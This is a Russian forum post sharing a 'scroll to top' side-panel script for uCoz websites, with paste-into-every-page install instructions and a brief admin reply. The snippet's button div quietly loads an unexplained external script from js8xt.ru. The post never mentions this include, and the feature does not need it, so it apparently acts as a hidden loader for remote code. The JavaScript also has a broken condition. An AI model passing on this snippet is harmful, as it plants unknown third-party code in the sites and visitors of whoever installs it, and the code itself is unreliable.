RSS сайта | RSS форума | RSS каталога файлов | RSS блога | Карта форума | Карта сайта | Все теги сайта
Главная страница

ГлавнаяФорумБлогФайлыОбратная связьО сайтеГостевая книгаПоиск
Настал ваш час, чтобы заработать реальные деньги на своем сайте
ВНИМАНИЕ!!!
Не зарегистрированные участники сайта ProSIdr, т.е. гости, НЕ могут оставлять сообщения на форуме. 
Для более корректного общения убедительная просьба
РЕГИСТРАЦИЯ или ВХОД
Реклама:
[ Новые сообщения · Заработай на своем сайте · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Admin 
Форум "ProSIdr" » Архив / Корзина » Архив » Боковая панель "Вверх" как вконтакте для uCoz
Боковая панель "Вверх" как вконтакте для uCoz
OlizinaДата: Понедельник, 23.04.2012, 09.10.49 | Сообщение # 1
Сержант
Группа: Пользователи
Сообщений: 36
« »

Ранг:

Доп. данные:
Шыкарный скрипт! на темный дизайнах бомбезно смотрится

Так выглядит скрипт:



Идея данного скрипта была взята с социальной сети Вконтакте

Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

Установка:
В любой глобальный блок в самый низ:

Code
<style>    
    #aposcroll a {    
    text-decoration:none;    
    color:red;    
    }    

    #aposcroll:hover {    
    background-color:rgba(200, 200, 200, 0.7);    
    box-shadow:0px -5px 10px #777;    
    }    
    </style>    
    <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script type="text/javascript" src="http://js8xt.ru/ves.js"></script></div>    

    <script>    
    // Кнопка Вверх by Apocalypse    
    var as = $('#aposcroll');    
    as.click(function() {    
    $(document).scrollTo(0, 500);    
    });    
    document.onscroll = function() {    
    var apolst = '0.'+$('body').scrollTop();    
    if(apolst.length == 5) {    
    as.stop().fadeTo(500, apolst);    
    } else if(apolst.length == 4  apolst.length == 3) {    
    as.stop().fadeTo(500, 0);    
    };    
    };    
    // apo-ucoz.com (c) 2012    
    </script>


ludochka

добавить на Яндекс
 
JockerДата: Понедельник, 23.04.2012, 17.43.02 | Сообщение # 2
Глава сайта
Группа: Администраторы
Сообщений: 493
« »

Смайл настроения:
Ранг:

Доп. данные:
Повтор

Сколько людей, столько и мнений.

добавить на Яндекс
 
Форум "ProSIdr" » Архив / Корзина » Архив » Боковая панель "Вверх" как вконтакте для uCoz
Страница 1 из 11
Поиск:
Сегодня нас посетили
kilapoun, jaclynyj4, tammiegs16, shaneoq3, benjz1, ruthlx60, loriens69, lirpi, mildredfy69, autohiteqi, Serviceken, wandawe18, Jamespeddy, BeataSore, lanaqh69, tommielv18, [Полный список]


www.megastock.ru
PR-CY.ru Яндекс.Метрика

Администрация сайта не претендует на авторские права. Материалы предоставленные на сайте, принадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Cайт оптимизирован для просмотра браузером Opera, Google Chrome, Mozilla Firefox, Safari.
           

Яндекс.Метрика